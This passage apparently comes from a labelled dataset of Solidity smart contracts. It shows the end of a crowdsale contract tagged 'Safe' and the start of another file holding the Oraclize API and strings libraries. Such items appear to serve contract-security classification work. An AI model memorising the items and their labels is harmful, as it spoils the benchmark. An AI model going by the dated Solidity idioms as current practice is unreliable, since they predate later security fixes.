i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; tokensToSend += b.tokens; b.tokens = 0; } } if (tokensToSend > 0) { allocatedTokens -= tokensToSend; if (!token.issue(msg.sender, tokensToSend)) { revert(); } } } /** * Withdraw allocated ether */ function withdrawEther() public { uint ethToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; ethToSend += b.eth; b.eth = 0; } } if (ethToSend > 0) { allocatedEth -= ethToSend; if (!msg.sender.send(ethToSend)) { revert(); } } } /** * Refund in the case of an unsuccessful crowdsale. The * crowdsale is considered unsuccessful if minAmount was * not raised before end of the crowdsale */ function refund() public only_after_crowdsale at_stage(Stages.InProgress) { require(raised < minAmount); uint receivedAmount = balances[msg.sender]; balances[msg.sender] = 0; if (receivedAmount > 0 && !msg.sender.send(receivedAmount)) { balances[msg.sender] = receivedAmount; } } /** * Failsafe and clean-up mechanism */ function destroy() public only_beneficiary only_after(2 years) { selfdestruct(beneficiary); } /** * Receive Eth and issue tokens to the sender */ function contribute() public payable { _handleTransaction(msg.sender, msg.value); } /** * Receive Eth and issue tokens to the sender * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) * * Contracts can call the contribute() function instead */ function () payable { require(msg.sender == tx.origin); _handleTransaction(msg.sender, msg.value); } /** * Handle incoming transactions * */ function _handleTransaction(address _sender, uint _received) private at_stage(Stages.InProgress) { // Crowdsale is active require(now >= start && now <= crowdsaleEnd); // Whitelist check require(isAcceptedContributor(_sender)); // When in presale phase bool presalePhase = isInPresalePhase(); require(!presalePhase || _received >= minAcceptedAmountPresale); require(!presalePhase || raised < maxAmountPresale); // When in ico phase require(presalePhase || _received >= minAcceptedAmount); require(presalePhase || raised >= minAmountPresale); require(presalePhase || raised < maxAmount); uint acceptedAmount; if (presalePhase && raised + _received > maxAmountPresale) { acceptedAmount = maxAmountPresale - raised; } else if (raised + _received > maxAmount) { acceptedAmount = maxAmount - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; if (presalePhase) { // During the presale phase - Non refundable _allocateStakeholdersEth(acceptedAmount, 0); } else { // During the ICO phase - 100% refundable balances[_sender] += acceptedAmount; } // Distribute tokens uint tokensToIssue = 0; uint phase = getCurrentPhase(); var rate = getRate(phase, acceptedAmount); var (volumes, releaseDates) = getDistributionData(phase, acceptedAmount); // Allocate tokens for (uint i = 0; i < volumes.length; i++) { var tokensAtCurrentRate = toTokens(volumes[i], rate); if (rate > baseRate && releaseDates[i] > now) { uint bonusTokens = tokensAtCurrentRate / rate * (rate - baseRate); _allocateTokens(_sender, bonusTokens, releaseDates[i]); tokensToIssue += tokensAtCurrentRate - bonusTokens; } else { tokensToIssue += tokensAtCurrentRate; } } // Issue tokens if (tokensToIssue > 0 && !token.issue(_sender, tokensToIssue)) { revert(); } // Refund due to max cap hit if (_received - acceptedAmount > 0 && !_sender.send(_received - acceptedAmount)) { revert(); } } /** * Allocate ETH * * @param _beneficiary The account to alocate the eth for * @param _amount The amount of ETH to allocate * @param _releaseDate The date after which the eth can be withdrawn */ function _allocateEth(address _beneficiary, uint _amount, uint _releaseDate) private { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].eth += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( _amount, 0, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedEth += _amount; } /** * Allocate Tokens * * @param _beneficiary The account to allocate the tokens for * @param _amount The amount of tokens to allocate * @param _releaseDate The date after which the tokens can be withdrawn */ function _allocateTokens(address _beneficiary, uint _amount, uint _releaseDate) private { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].tokens += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( 0, _amount, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedTokens += _amount; } /** * Allocate ETH for stakeholders * * @param _amount The amount of ETH to allocate * @param _releaseDate The date after which the eth can be withdrawn */ function _allocateStakeholdersEth(uint _amount, uint _releaseDate) private { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.eth > 0) { _allocateEth(stakeholderPercentagesIndex[i], _amount * p.eth / percentageDenominator, _releaseDate); } } } /** * Allocate Tokens for stakeholders * * @param _amount The amount of tokens created * @param _releaseDate The date after which the tokens can be withdrawn (unless overwitten) */ function _allocateStakeholdersTokens(uint _amount, uint _releaseDate) private { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.tokens > 0) { _allocateTokens( stakeholderPercentagesIndex[i], _amount * p.tokens / percentageDenominator, p.overwriteReleaseDate ? p.fixedReleaseDate : _releaseDate); } } } } // File: contracts\source\NUCrowdsale.sol /** * @title NUCrowdsale * * Network Units (NU) is a decentralised worldwide collaboration of computing power * * By allowing gamers and service providers to participate in our unique mining * process, we will create an ultra-fast, blockchain controlled multiplayer infrastructure * rentable by developers * * Visit https://networkunits.io/ * * #created 22/10/2017 * #author Frank Bonnet */ contract NUCrowdsale is Crowdsale, ITokenRetreiver, IWingsAdapter { /** * Setup the crowdsale * * @param _start The timestamp of the start date * @param _token The token that is sold * @param _tokenDenominator The token amount of decimals that the token uses * @param _percentageDenominator The precision of percentages * @param _minAmount The min cap for the ICO * @param _maxAmount The max cap for the ICO * @param _minAcceptedAmount The lowest accepted amount during the ICO phase * @param _minAmountPresale The min cap for the presale * @param _maxAmountPresale The max cap for the presale * @param _minAcceptedAmountPresale The lowest accepted amount during the presale phase */ function NUCrowdsale(uint _start, address _token, uint _tokenDenominator, uint _percentageDenominator, uint _minAmount, uint _maxAmount, uint _minAcceptedAmount, uint _minAmountPresale, uint _maxAmountPresale, uint _minAcceptedAmountPresale) Crowdsale(_start, _token, _tokenDenominator, _percentageDenominator, _minAmount, _maxAmount, _minAcceptedAmount, _minAmountPresale, _maxAmountPresale, _minAcceptedAmountPresale) { } /** * Wings integration - Get the total raised amount of Ether * * Can only increased, means if you withdraw ETH from the wallet, should be not modified (you can use two fields * to keep one with a total accumulated amount) amount of ETH in contract and totalCollected for total amount of ETH collected * * @return Total raised Ether amount */ function totalCollected() public constant returns (uint) { return raised; } /** * Allows the implementing contract to validate a * contributing account * * @param _contributor Address that is being validated * @return Wheter the contributor is accepted or not */ function isAcceptedContributor(address _contributor) internal constant returns (bool) { return _contributor != address(0x0); } /** * Failsafe mechanism * * Allows beneficary to retreive tokens from the contract * * @param _tokenContract The address of ERC20 compatible token */ function retreiveTokens(address _tokenContract) public only_beneficiary { IToken tokenInstance = IToken(_tokenContract); // Retreive tokens from our token contract ITokenRetreiver(token).retreiveTokens(_tokenContract); // Retreive tokens from crowdsale contract uint tokenBalance = tokenInstance.balanceOf(this); if (tokenBalance > 0) { tokenInstance.transfer(beneficiary, tokenBalance); } } }",Safe,8,8 39401.sol,"pragma solidity ^0.4.2; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } } // /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(""."")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(""."")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return 